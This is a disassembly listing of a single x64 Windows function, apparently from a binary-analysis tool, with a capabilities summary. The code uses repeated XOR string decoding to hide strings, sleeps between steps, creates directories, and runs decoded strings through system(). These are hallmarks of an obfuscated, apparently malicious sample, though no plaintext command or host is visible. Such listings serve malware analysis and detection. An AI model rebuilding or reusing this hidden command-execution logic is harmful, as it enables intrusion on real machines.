Function at 0x14005e5d0
Capabilities:
Create directory
Execute command
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7f0]
sub rsp, 0x8f0
xor r15d, r15d
movdqa xmm1, xmmword [0x140131d10]
movdqu xmmword [rbp], xmm1
movdqa xmm2, xmmword [0x140131950]
movdqu xmmword [rbp + 0x10], xmm2
mov dl, 0x2f
movzx r8d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 1], al
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
xor byte [rbp + 7], cl
xor byte [rbp + 8], cl
xor byte [rbp + 9], cl
xor byte [rbp + 0xa], cl
xor byte [rbp + 0xb], cl
xor byte [rbp + 0xc], cl
xor byte [rbp + 0xd], cl
xor byte [rbp + 0xe], cl
xor byte [rbp + 0xf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x10], al
xor byte [rbp + 0x11], cl
xor byte [rbp + 0x12], cl
xor byte [rbp + 0x13], cl
xor byte [rbp + 0x14], cl
xor byte [rbp + 0x15], cl
xor byte [rbp + 0x16], cl
xor byte [rbp + 0x17], cl
xor byte [rbp + 0x18], cl
xor byte [rbp + 0x19], cl
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor dl, cl
mov byte [rbp + 0x20], dl
xor r8b, cl
mov byte [rbp + 0x21], r8b
mov byte [rbp + 0x22], r15b
mov ecx, r15d
lea rdx, [0x1409d4430]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 1]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005e6b0
lea rax, [0x14012d41c]
mov qword [0x1409d4428], rax
mov dword [0x1409d4ac8], r15d
mov dword [0x1409d4b18], r15d
mov dword [0x1409d4b1c], 0x43160000
mov dword [0x1409d4b14], r15d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x50], reloc.WS2_32.dll_setsockopt
mov al, 0x76
mov cl, 0x7d
mov dl, reloc.WS2_32.dll_WSASetLastError
movzx r8d, al
mov r9b, 0x7e
mov r10b, 0x7c
mov r11b, 0x7b
mov bl, WSAStartup
mov dil, 0x35
mov sil, 0x67
mov r14b, 0x61
mov r15b, 0x66
movzx r12d, r15b
xor r13d, r13d
xor al, 0x15
mov byte [rsp + 0x51], al
xor cl, 0x15
mov byte [rsp + 0x52], cl
xor dl, 0x15
mov byte [rsp + 0x53], dl
xor r8b, 0x15
mov byte [rsp + 0x54], r8b
xor r9b, 0x15
mov byte [rsp + 0x55], r9b
xor r10b, 0x15
mov byte [rsp + 0x56], r10b
xor r11b, 0x15
mov byte [rsp + 0x57], r11b
xor bl, 0x15
mov byte [rsp + 0x58], bl
xor dil, 0x15
mov byte [rsp + 0x59], dil
xor sil, 0x15
mov byte [rsp + 0x5a], sil
xor r14b, 0x15
mov byte [rsp + 0x5b], r14b
xor r15b, 0x15
mov byte [rsp + 0x5c], r15b
xor r12b, 0x15
mov byte [rsp + 0x5d], r12b
mov byte [rsp + 0x5e], r13b
xor r14d, r14d
mov ecx, r14d
lea r13, [r14 - 1]
lea rsi, [0x1409d4430]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x51]
mov byte [rcx + rsi], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005e7b0
lea r15, [0x14012d41c]
mov qword [0x1409d4428], r15
mov dword [0x1409d4ac8], r14d
mov dword [0x1409d4b18], r14d
mov dword [0x1409d4b1c], 0x43160000
mov dword [0x1409d4b14], r14d
movdqa xmm1, xmmword [0x140131b80]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 5
mov r8b, 7
mov r9b, Ordinal_30
mov r10b, 0x56
mov r11b, 0x4b
movzx ebx, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
xor bl, cl
mov byte [rsp + 0x45], bl
mov byte [rsp + 0x46], r14b
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
lea rax, [rsp + 0x31]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14005e8a4
lea rdx, [rsp + 0x31]
lea rcx, [rbp]
call fcn.14004e1e0
lea rcx, [rbp]
call fcn.14004ded0
test al, al
jne 0x14005f0d9
movdqa xmm1, xmmword [0x140131a30]
movdqu xmmword [rbp - 0x30], xmm1
movdqa xmm2, xmmword [0x140131a10]
movdqu xmmword [rbp - 0x20], xmm2
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8b, reloc.WLDAP32.dll_Ordinal_33
mov r9b, 0x26
mov r10b, 0x3d
movzx r11d, dl
mov bl, 0x3a
mov dil, Ordinal_41
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x2f], al
xor byte [rbp - 0x2e], cl
xor byte [rbp - 0x2d], cl
xor byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], cl
xor byte [rbp - 0x2a], cl
xor byte [rbp - 0x29], cl
xor byte [rbp - 0x28], cl
xor byte [rbp - 0x27], cl
xor byte [rbp - 0x26], cl
xor byte [rbp - 0x25], cl
xor byte [rbp - 0x24], cl
xor byte [rbp - 0x23], cl
xor byte [rbp - 0x22], cl
xor byte [rbp - 0x21], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x20], al
xor byte [rbp - 0x1f], cl
xor byte [rbp - 0x1e], cl
xor byte [rbp - 0x1d], cl
xor byte [rbp - 0x1c], cl
xor byte [rbp - 0x1b], cl
xor byte [rbp - 0x1a], cl
xor byte [rbp - 0x19], cl
xor byte [rbp - 0x18], cl
xor byte [rbp - 0x17], cl
xor byte [rbp - 0x16], cl
xor byte [rbp - 0x15], cl
xor byte [rbp - 0x14], cl
xor byte [rbp - 0x13], cl
xor byte [rbp - 0x12], cl
xor byte [rbp - 0x11], cl
xor dl, cl
mov byte [rbp - 0x10], dl
xor r8b, cl
mov byte [rbp - 0xf], r8b
xor r9b, cl
mov byte [rbp - 0xe], r9b
xor r10b, cl
mov byte [rbp - 0xd], r10b
xor r11b, cl
mov byte [rbp - 0xc], r11b
xor bl, cl
mov byte [rbp - 0xb], bl
xor dil, cl
mov byte [rbp - 0xa], dil
mov byte [rbp - 9], r14b
mov rcx, r14
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rbp + rcx - 0x2f]
mov byte [rcx + rsi], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005e9b0
mov qword [0x1409d4428], r15
mov dword [0x1409d4ac8], r14d
mov dword [0x1409d4b18], r14d
mov dword [0x1409d4b1c], 0x43160000
mov dword [0x1409d4b14], r14d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x140131a00]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, reloc.WS2_32.dll_recv
mov r8b, 0x3e
mov r9b, gethostname
mov r10b, 0x3f
movzx r11d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x45], r14b
lea rcx, [rsp + 0x31]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
movdqa xmm1, xmmword [0x140131da0]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x51
mov r8b, 0x7f
mov r9b, 0x79
mov r10b, 0x7e
movzx r11d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x45], r14b
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
xor r9d, r9d
mov r8d, 0x75ea5
lea rdx, [0x140149c60]
lea rcx, [rsp + 0x60]
call fcn.140091aa0
test eax, eax
je 0x14005eda1
lea rcx, [rsp + 0x60]
call fcn.140091950
mov edi, eax
mov ebx, r14d
test eax, eax
jle 0x14005ec5b
nop dword [rax]
nop dword [rax + rax]
lea r8, [rbp + 0x390]
mov edx, ebx
lea rcx, [rsp + 0x60]
call fcn.140091900
test eax, eax
je 0x14005ed97
mov byte [rbp + 0x830], 0x59
mov al, 0x7c
mov cl, 0x2a
mov dl, 0x76
movzx r8d, al
movzx r9d, cl
xor r10d, r10d
xor al, 0x59
mov byte [rbp + 0x831], al
xor cl, 0x59
mov byte [rbp + 0x832], cl
xor dl, 0x59
mov byte [rbp + 0x833], dl
xor r8b, 0x59
mov byte [rbp + 0x834], r8b
xor r9b, 0x59
mov byte [rbp + 0x835], r9b
mov byte [rbp + 0x836], r10b
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x31]
lea r8, [rbp + 0x831]
mov edx, 0x104
lea rcx, [rbp + 0x280]
call fcn.140047b90
cmp dword [rbp + 0x3d4], r14d
je 0x14005ec3b
lea rcx, [rbp + 0x280]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
jmp 0x14005ec51
xor r9d, r9d
lea r8, [rbp + 0x280]
mov edx, ebx
lea rcx, [rsp + 0x60]
call fcn.1400917b0
inc ebx
cmp ebx, edi
jl 0x14005eb90
lea rcx, [rsp + 0x60]
call fcn.140091130
movdqa xmm1, xmmword [0x140131d70]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm2, xmmword [0x140131c90]
movdqu xmmword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x140131d40]
movdqu xmmword [rbp - 0x80], xmm3
mov dl, 0x6b
mov r8b, reloc.WLDAP32.dll_Ordinal_46
mov r9b, reloc.WLDAP32.dll_Ordinal_33
mov r10b, 0x67
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x61], al
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
movd eax, xmm3
xor al, cl
mov byte [rbp - 0x80], al
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor dl, cl
mov byte [rbp - 0x70], dl
xor r8b, cl
mov byte [rbp - 0x6f], r8b
xor r9b, cl
mov byte [rbp - 0x6e], r9b
xor r10b, cl
mov byte [rbp - 0x6d], r10b
mov byte [rbp - 0x6c], r14b
lea rcx, [rsp + 0x61]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
jmp 0x14005e6f2
lea rcx, [rsp + 0x60]
call fcn.140091130
movdqa xmm1, xmmword [0x140131930]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm2, xmmword [0x140131910]
movdqu xmmword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x1401318f0]
movdqu xmmword [rbp - 0x80], xmm3
movdqa xmm4, xmmword [0x140131920]
movdqu xmmword [rbp - 0x70], xmm4
mov dl, 0x3f
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x61], al
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
movd eax, xmm3
xor al, cl
mov byte [rbp - 0x80], al
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
movd eax, xmm4
xor al, cl
mov byte [rbp - 0x70], al
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
xor byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
xor byte [rbp - 0x69], cl
xor byte [rbp - 0x68], cl
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor dl, cl
mov byte [rbp - 0x60], dl
mov byte [rbp - 0x5f], r14b
mov rcx, r14
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x61]
mov byte [rcx + rsi], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005eef0
lea rax, [0x14012d420]
mov qword [0x1409d4428], rax
mov dword [0x1409d4ac8], r14d
mov dword [0x1409d4b18], r14d
mov dword [0x1409d4b1c], 0x43160000
mov dword [0x1409d4b14], r14d
movdqa xmm1, xmmword [0x140131960]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm2, xmmword [0x140131990]
movdqu xmmword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x140131970]
movdqu xmmword [rbp - 0x80], xmm3
movdqa xmm4, xmmword [0x140131940]
movdqu xmmword [rbp - 0x70], xmm4
mov cl, 0x6c
mov r8b, Ordinal_41
mov r9b, Ordinal_45
mov r10b, 0x34
mov r11b, reloc.WLDAP32.dll_Ordinal_45
mov bl, 0x2f
movzx edi, r9b
mov sil, Ordinal_35
movzx r14d, r8b
movzx r15d, cl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x61], al
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], dl
xor byte [rsp + 0x72], dl
xor byte [rsp + 0x73], dl
xor byte [rsp + 0x74], dl
xor byte [rsp + 0x75], dl
xor byte [rsp + 0x76], dl
xor byte [rsp + 0x77], dl
xor byte [rsp + 0x78], dl
xor byte [rsp + 0x79], dl
xor byte [rsp + 0x7a], dl
xor byte [rsp + 0x7b], dl
xor byte [rsp + 0x7c], dl
xor byte [rsp + 0x7d], dl
xor byte [rsp + 0x7e], dl
xor byte [rsp + 0x7f], dl
movd eax, xmm3
xor al, dl
mov byte [rbp - 0x80], al
xor byte [rbp - 0x7f], dl
xor byte [rbp - 0x7e], dl
xor byte [rbp - 0x7d], dl
xor byte [rbp - 0x7c], dl
xor byte [rbp - 0x7b], dl
xor byte [rbp - 0x7a], dl
xor byte [rbp - 0x79], dl
xor byte [rbp - 0x78], dl
xor byte [rbp - 0x77], dl
xor byte [rbp - 0x76], dl
xor byte [rbp - 0x75], dl
xor byte [rbp - 0x74], dl
xor byte [rbp - 0x73], dl
xor byte [rbp - 0x72], dl
xor byte [rbp - 0x71], dl
movd eax, xmm4
xor al, dl
mov byte [rbp - 0x70], al
xor byte [rbp - 0x6f], dl
xor byte [rbp - 0x6e], dl
xor byte [rbp - 0x6d], dl
xor byte [rbp - 0x6c], dl
xor byte [rbp - 0x6b], dl
xor byte [rbp - 0x6a], dl
xor byte [rbp - 0x69], dl
xor byte [rbp - 0x68], dl
xor byte [rbp - 0x67], dl
xor byte [rbp - 0x66], dl
xor byte [rbp - 0x65], dl
xor byte [rbp - 0x64], dl
xor byte [rbp - 0x63], dl
xor byte [rbp - 0x62], dl
xor byte [rbp - 0x61], dl
xor cl, dl
mov byte [rbp - 0x60], cl
xor r8b, dl
mov byte [rbp - 0x5f], r8b
xor r9b, dl
mov byte [rbp - 0x5e], r9b
xor r10b, dl
mov byte [rbp - 0x5d], r10b
xor r11b, dl
mov byte [rbp - 0x5c], r11b
xor bl, dl
mov byte [rbp - 0x5b], bl
xor dil, dl
mov byte [rbp - 0x5a], dil
xor sil, dl
mov byte [rbp - 0x59], sil
xor r14b, dl
mov byte [rbp - 0x58], r14b
xor r15b, dl
mov byte [rbp - 0x57], r15b
mov byte [rbp - 0x56], 0
lea rcx, [rsp + 0x61]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14005fc7b
movdqa xmm1, xmmword [0x140131900]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, reloc.WLDAP32.dll_Ordinal_50
movzx r8d, dl
mov r9b, 0x35
movzx r10d, dl
mov r11b, Ordinal_60
mov bl, 0x7d
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
xor bl, cl
mov byte [rsp + 0x45], bl
mov byte [rsp + 0x46], r14b
mov rdx, r14
nop dword [rax]
movzx eax, byte [rsp + rdx + 0x31]
mov byte [rdx + rsi], al
lea rdx, [rdx + 1]
test al, al
jne 0x14005f180
mov qword [0x1409d4428], r15
mov dword [0x1409d4ac8], r14d
mov dword [0x1409d4b18], r14d
mov dword [0x1409d4b1c], 0x43160000
mov dword [0x1409d4b14], r14d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x50], Ordinal_79
mov al, 0x3e
mov cl, gethostname
mov dl, reloc.WLDAP32.dll_Ordinal_46
mov r8b, reloc.WS2_32.dll_gethostname
mov r9b, 0x25
mov r10b, 0x2a
mov r11b, 0x26
movzx ebx, dl
xor edi, edi
xor al, 0x4b
mov byte [rsp + 0x51], al
xor cl, 0x4b
mov byte [rsp + 0x52], cl
xor dl, 0x4b
mov byte [rsp + 0x53], dl
xor r8b, 0x4b
mov byte [rsp + 0x54], r8b
xor r9b, 0x4b
mov byte [rsp + 0x55], r9b
xor r10b, 0x4b
mov byte [rsp + 0x56], r10b
xor r11b, 0x4b
mov byte [rsp + 0x57], r11b
xor bl, 0x4b
mov byte [rsp + 0x58], bl
mov byte [rsp + 0x59], dil
mov byte [rbp - 0x30], dil
xor eax, eax
mov qword [rbp - 0x28], rax
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.140066c10
mov byte [rbp - 0x30], 3
lea ecx, [rdi + 0x20]
call fcn.140094f58
mov rbx, rax
lea rax, [rbp + 0x830]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
lea rax, [rsp + 0x51]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14005f270
lea rdx, [rsp + 0x51]
mov rcx, rbx
call fcn.14004e1e0
nop
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], r14
lea rdx, [0x1409d4300]
lea rcx, [rbp - 0x18]
call fcn.14006cfb0
mov qword [rbp - 8], r14
lea rax, [rbp - 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140064370
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x50], 0x43
mov al, 0x33
mov cl, Ordinal_35
mov dl, 0x30
movzx r8d, dl
mov r9b, 0x34
mov r10b, Ordinal_45
mov r11b, Ordinal_50
mov bl, 0x27
xor edi, edi
xor al, 0x43
mov byte [rsp + 0x51], al
xor cl, 0x43
mov byte [rsp + 0x52], cl
xor dl, 0x43
mov byte [rsp + 0x53], dl
xor r8b, 0x43
mov byte [rsp + 0x54], r8b
xor r9b, 0x43
mov byte [rsp + 0x55], r9b
xor r10b, 0x43
mov byte [rsp + 0x56], r10b
xor r11b, 0x43
mov byte [rsp + 0x57], r11b
xor bl, 0x43
mov byte [rsp + 0x58], bl
mov byte [rsp + 0x59], dil
mov byte [rbp], dil
xor eax, eax
mov qword [rbp + 8], rax
xor edx, edx
lea rcx, [rbp + 8]
call fcn.140066c10
mov byte [rbp], 3
lea ecx, [rdi + 0x20]
call fcn.140094f58
mov rbx, rax
lea rax, [rbp + 0x830]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
lea rax, [rsp + 0x51]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14005f375
lea rdx, [rsp + 0x51]
mov rcx, rbx
call fcn.14004e1e0
nop
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], r14
lea rdx, [0x1409d4280]
lea rcx, [rbp + 0x18]
call fcn.14006cfb0
mov qword [rbp + 0x28], r14
lea rax, [rbp]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x78]
call fcn.140064370
mov qword [rbp - 0x78], r14
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.140064370
nop
lea r9, [0x140062c60]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x60]
call fcn.140094f94
nop
lea r9, [0x140062c60]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp]
call fcn.140094f94
nop
lea r9, [0x140062c60]
mov edx, Ordinal_26
lea r8d, [rdx - 0x16]
lea rcx, [rbp - 0x30]
call fcn.140094f94
movdqa xmm1, xmmword [0x140131d30]
movdqu xmmword [rbp + 0x30], xmm1
mov cl, 0x40
mov dl, 0x4d
mov r9b, 0x4c
mov r10b, 0x47
mov r11b, 0x5d
movzx ebx, cl
mov dil, reloc.WLDAP32.dll_Ordinal_79
movzx esi, cl
movzx r14d, r9b
mov r15b, 0x5b
mov r12b, 0x5a
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rbp + 0x31], al
xor byte [rbp + 0x32], r8b
xor byte [rbp + 0x33], r8b
xor byte [rbp + 0x34], r8b
xor byte [rbp + 0x35], r8b
xor byte [rbp + 0x36], r8b
xor byte [rbp + 0x37], r8b
xor byte [rbp + 0x38], r8b
xor byte [rbp + 0x39], r8b
xor byte [rbp + 0x3a], r8b
xor byte [rbp + 0x3b], r8b
xor byte [rbp + 0x3c], r8b
xor byte [rbp + 0x3d], r8b
xor byte [rbp + 0x3e], r8b
xor byte [rbp + 0x3f], r8b
xor cl, r8b
mov byte [rbp + 0x40], cl
xor dl, r8b
mov byte [rbp + 0x41], dl
xor r9b, r8b
mov byte [rbp + 0x42], r9b
xor r10b, r8b
mov byte [rbp + 0x43], r10b
xor r11b, r8b
mov byte [rbp + 0x44], r11b
xor bl, r8b
mov byte [rbp + 0x45], bl
xor dil, r8b
mov byte [rbp + 0x46], dil
xor sil, r8b
mov byte [rbp + 0x47], sil
xor r14b, r8b
mov byte [rbp + 0x48], r14b
xor r15b, r8b
mov byte [rbp + 0x49], r15b
xor r12b, r8b
mov byte [rbp + 0x4a], r12b
mov byte [rbp + 0x4b], 0
mov r8d, 2
lea rdx, [rbp + 0x31]
lea rcx, [rbp + 0x170]
call fcn.140062d20
nop
cmp qword [rbp + 0x1f8], 0
je 0x14005f57d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x170]
call fcn.140063f40
